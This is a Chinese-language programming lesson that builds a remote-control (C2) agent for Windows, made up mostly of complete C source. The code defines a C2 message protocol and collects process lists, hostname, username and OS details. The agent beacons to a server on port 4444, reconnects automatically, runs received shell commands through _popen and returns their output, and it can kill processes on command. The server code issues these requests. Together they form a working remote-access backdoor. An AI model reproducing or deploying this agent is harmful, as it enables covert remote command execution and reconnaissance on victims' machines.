Windows网络编程
4、远控添加Client端进程信息获取功能
1、课程目标
- 实现远程进程列表获取
- 掌握进程信息的序列化传输
- 实现远程进程管理功能
- 完善C2通信协议
2、名词解释
| 术语 | 解释 |
|---|---|
| TLV | Type-Length-Value数据格式 |
| 序列化 | 将数据结构转换为字节流 |
| 心跳 | 定期发送的保活包 |
| 命令分发 | 根据命令类型执行不同功能 |
3、代码实现
3.1、示例1:通信协议定义
// Protocol.h - 通信协议定义
#ifndef PROTOCOL_H
#define PROTOCOL_H
#include <windows.h>
#pragma pack(push, 1)
// 消息头
typedef struct _MSG_HEADER {
DWORD Magic; // 魔数 0xDEADBEEF
DWORD Type; // 消息类型
DWORD Length; // 数据长度
DWORD Sequence; // 序列号
} MSG_HEADER, *PMSG_HEADER;
// 消息类型
#define MSG_HEARTBEAT 0x0001
#define MSG_SYSINFO 0x0002
#define MSG_PROCESS_LIST 0x0010
#define MSG_PROCESS_KILL 0x0011
#define MSG_SHELL_EXEC 0x0020
#define MSG_FILE_LIST 0x0030
#define MSG_FILE_DOWNLOAD 0x0031
#define MSG_FILE_UPLOAD 0x0032
// 进程信息
typedef struct _PROCESS_INFO_PACKET {
DWORD Pid;
DWORD ParentPid;
DWORD ThreadCount;
DWORD Priority;
CHAR ExeName[260];
CHAR ExePath[520];
} PROCESS_INFO_PACKET, *PPROCESS_INFO_PACKET;
// 系统信息
typedef struct _SYSINFO_PACKET {
CHAR Hostname[64];
CHAR Username[64];
CHAR OsVersion[128];
DWORD ProcessorCount;
DWORD MemoryMB;
CHAR IpAddress[64];
} SYSINFO_PACKET, *PSYSINFO_PACKET;
#pragma pack(pop)
#define MSG_MAGIC 0xDEADBEEF
#endif
3.2、示例2:进程信息获取
// ProcessInfo.c - 进程信息获取
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
#include "Protocol.h"
#pragma comment(lib, "psapi.lib")
// 获取进程列表
DWORD GetProcessList(PPROCESS_INFO_PACKET* ppList) {
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
DWORD count = 0;
DWORD capacity = 256;
*ppList = (PPROCESS_INFO_PACKET)malloc(capacity * sizeof(PROCESS_INFO_PACKET));
if (!*ppList) return 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
free(*ppList);
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (count >= capacity) {
capacity *= 2;
PPROCESS_INFO_PACKET newList = (PPROCESS_INFO_PACKET)realloc(
*ppList, capacity * sizeof(PROCESS_INFO_PACKET));
if (!newList) break;
*ppList = newList;
}
PPROCESS_INFO_PACKET info = &(*ppList)[count];
memset(info, 0, sizeof(PROCESS_INFO_PACKET));
info->Pid = pe32.th32ProcessID;
info->ParentPid = pe32.th32ParentProcessID;
info->ThreadCount = pe32.cntThreads;
info->Priority = pe32.pcPriClassBase;
// 复制进程名
WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1,
info->ExeName, sizeof(info->ExeName), NULL, NULL);
// 获取完整路径
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess) {
DWORD pathLen = sizeof(info->ExePath);
QueryFullProcessImageNameA(hProcess, 0, info->ExePath, &pathLen);
CloseHandle(hProcess);
}
count++;
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return count;
}
// 终止进程
BOOL KillProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (!hProcess) return FALSE;
BOOL result = TerminateProcess(hProcess, 1);
CloseHandle(hProcess);
return result;
}
// 获取系统信息
void GetSystemInfoPacket(PSYSINFO_PACKET pInfo) {
DWORD size;
memset(pInfo, 0, sizeof(SYSINFO_PACKET));
// 主机名
size = sizeof(pInfo->Hostname);
GetComputerNameA(pInfo->Hostname, &size);
// 用户名
size = sizeof(pInfo->Username);
GetUserNameA(pInfo->Username, &size);
// OS版本
OSVERSIONINFOEXA osvi;
osvi.dwOSVersionInfoSize = sizeof(osvi);
GetVersionExA((LPOSVERSIONINFOA)&osvi);
sprintf_s(pInfo->OsVersion, sizeof(pInfo->OsVersion),
"Windows %d.%d Build %d",
osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
// 处理器数量
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
pInfo->ProcessorCount = sysInfo.dwNumberOfProcessors;
// 内存
MEMORYSTATUSEX memStatus;
memStatus.dwLength = sizeof(memStatus);
GlobalMemoryStatusEx(&memStatus);
pInfo->MemoryMB = (DWORD)(memStatus.ullTotalPhys / (1024 * 1024));
}
3.3、示例3:C2 Agent完整实现
// C2AgentFull.c - 完整Agent实现
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#include "Protocol.h"
#pragma comment(lib, "ws2_32.lib")
#define C2_SERVER "127.0.0.1"
#define C2_PORT 4444
#define HEARTBEAT_INTERVAL 30000
SOCKET g_Socket = INVALID_SOCKET;
BOOL g_Running = TRUE;
DWORD g_Sequence = 0;
// 发送消息
BOOL SendMessage(DWORD type, PVOID data, DWORD dataLen) {
MSG_HEADER header;
header.Magic = MSG_MAGIC;
header.Type = type;
header.Length = dataLen;
header.Sequence = ++g_Sequence;
// 发送头
if (send(g_Socket, (char*)&header, sizeof(header), 0) != sizeof(header)) {
return FALSE;
}
// 发送数据
if (dataLen > 0 && data) {
if (send(g_Socket, (char*)data, dataLen, 0) != dataLen) {
return FALSE;
}
}
return TRUE;
}
// 接收消息
BOOL RecvMessage(PMSG_HEADER pHeader, PVOID* ppData) {
// 接收头
int recvLen = recv(g_Socket, (char*)pHeader, sizeof(MSG_HEADER), 0);
if (recvLen != sizeof(MSG_HEADER)) {
return FALSE;
}
if (pHeader->Magic != MSG_MAGIC) {
return FALSE;
}
// 接收数据
*ppData = NULL;
if (pHeader->Length > 0) {
*ppData = malloc(pHeader->Length);
recvLen = recv(g_Socket, (char*)*ppData, pHeader->Length, 0);
if (recvLen != pHeader->Length) {
free(*ppData);
*ppData = NULL;
return FALSE;
}
}
return TRUE;
}
// 处理进程列表请求
void HandleProcessList() {
PPROCESS_INFO_PACKET processList;
DWORD count = GetProcessList(&processList);
DWORD dataLen = count * sizeof(PROCESS_INFO_PACKET);
SendMessage(MSG_PROCESS_LIST, processList, dataLen);
free(processList);
}
// 处理终止进程
void HandleProcessKill(DWORD pid) {
DWORD result = KillProcess(pid) ? 1 : 0;
SendMessage(MSG_PROCESS_KILL, &result, sizeof(result));
}
// 处理Shell执行
void HandleShellExec(char* command) {
char output[8192] = {0};
FILE* pipe = _popen(command, "r");
if (pipe) {
int offset = 0;
while (fgets(output + offset, sizeof(output) - offset, pipe)) {
offset = strlen(output);
if (offset >= sizeof(output) - 100) break;
}
_pclose(pipe);
} else {
strcpy_s(output, sizeof(output), "Failed to execute command");
}
SendMessage(MSG_SHELL_EXEC, output, strlen(output) + 1);
}
// 处理系统信息请求
void HandleSysInfo() {
SYSINFO_PACKET info;
GetSystemInfoPacket(&info);
SendMessage(MSG_SYSINFO, &info, sizeof(info));
}
// 心跳线程
DWORD WINAPI HeartbeatThread(LPVOID lpParam) {
while (g_Running) {
if (g_Socket != INVALID_SOCKET) {
SendMessage(MSG_HEARTBEAT, NULL, 0);
}
Sleep(HEARTBEAT_INTERVAL);
}
return 0;
}
// 连接服务器
BOOL ConnectToServer() {
struct sockaddr_in serverAddr;
g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (g_Socket == INVALID_SOCKET) return FALSE;
serverAddr.sin_family = AF_INET;
inet_pton(AF_INET, C2_SERVER, &serverAddr.sin_addr);
serverAddr.sin_port = htons(C2_PORT);
if (connect(g_Socket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(g_Socket);
g_Socket = INVALID_SOCKET;
return FALSE;
}
// 发送系统信息
HandleSysInfo();
return TRUE;
}
// 主循环
void MainLoop() {
MSG_HEADER header;
PVOID data;
// 启动心跳线程
CreateThread(NULL, 0, HeartbeatThread, NULL, 0, NULL);
while (g_Running) {
if (g_Socket == INVALID_SOCKET) {
if (!ConnectToServer()) {
Sleep(5000);
continue;
}
}
if (!RecvMessage(&header, &data)) {
closesocket(g_Socket);
g_Socket = INVALID_SOCKET;
continue;
}
switch (header.Type) {
case MSG_PROCESS_LIST:
HandleProcessList();
break;
case MSG_PROCESS_KILL:
if (data) HandleProcessKill(*(DWORD*)data);
break;
case MSG_SHELL_EXEC:
if (data) HandleShellExec((char*)data);
break;
case MSG_SYSINFO:
HandleSysInfo();
break;
}
if (data) free(data);
}
}
int main() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
MainLoop();
if (g_Socket != INVALID_SOCKET) closesocket(g_Socket);
WSACleanup();
return 0;
}
3.4、示例4:C2 Server进程管理界面
// C2ServerProcess.c - 服务器端进程管理
#include <winsock2.h>
#include <stdio.h>
#include "Protocol.h"
#pragma comment(lib, "ws2_32.lib")
void DisplayProcessList(PPROCESS_INFO_PACKET list, DWORD count) {
printf("\n%-8s %-8s %-8s %-30s\n", "PID", "PPID", "Threads", "Name");
printf("------------------------------------------------------------\n");
for (DWORD i = 0; i < count; i++) {
printf("%-8d %-8d %-8d %-30s\n",
list[i].Pid,
list[i].ParentPid,
list[i].ThreadCount,
list[i].ExeName);
}
printf("\nTotal: %d processes\n", count);
}
void DisplaySysInfo(PSYSINFO_PACKET info) {
printf("\n=== System Information ===\n");
printf("Hostname: %s\n", info->Hostname);
printf("Username: %s\n", info->Username);
printf("OS: %s\n", info->OsVersion);
printf("Processors: %d\n", info->ProcessorCount);
printf("Memory: %d MB\n", info->MemoryMB);
printf("IP Address: %s\n", info->IpAddress);
}
// 请求进程列表
void RequestProcessList(SOCKET sock) {
MSG_HEADER header;
header.Magic = MSG_MAGIC;
header.Type = MSG_PROCESS_LIST;
header.Length = 0;
header.Sequence = 1;
send(sock, (char*)&header, sizeof(header), 0);
}
// 请求终止进程
void RequestKillProcess(SOCKET sock, DWORD pid) {
MSG_HEADER header;
header.Magic = MSG_MAGIC;
header.Type = MSG_PROCESS_KILL;
header.Length = sizeof(DWORD);
header.Sequence = 1;
send(sock, (char*)&header, sizeof(header), 0);
send(sock, (char*)&pid, sizeof(pid), 0);
}
4、课后作业
- 添加进程内存信息显示
- 实现进程模块列表获取
- 添加进程启动功能
- 实现进程注入检测
5、扩展阅读
- Windows进程管理API
- 远程控制协议设计
- 安全通信实现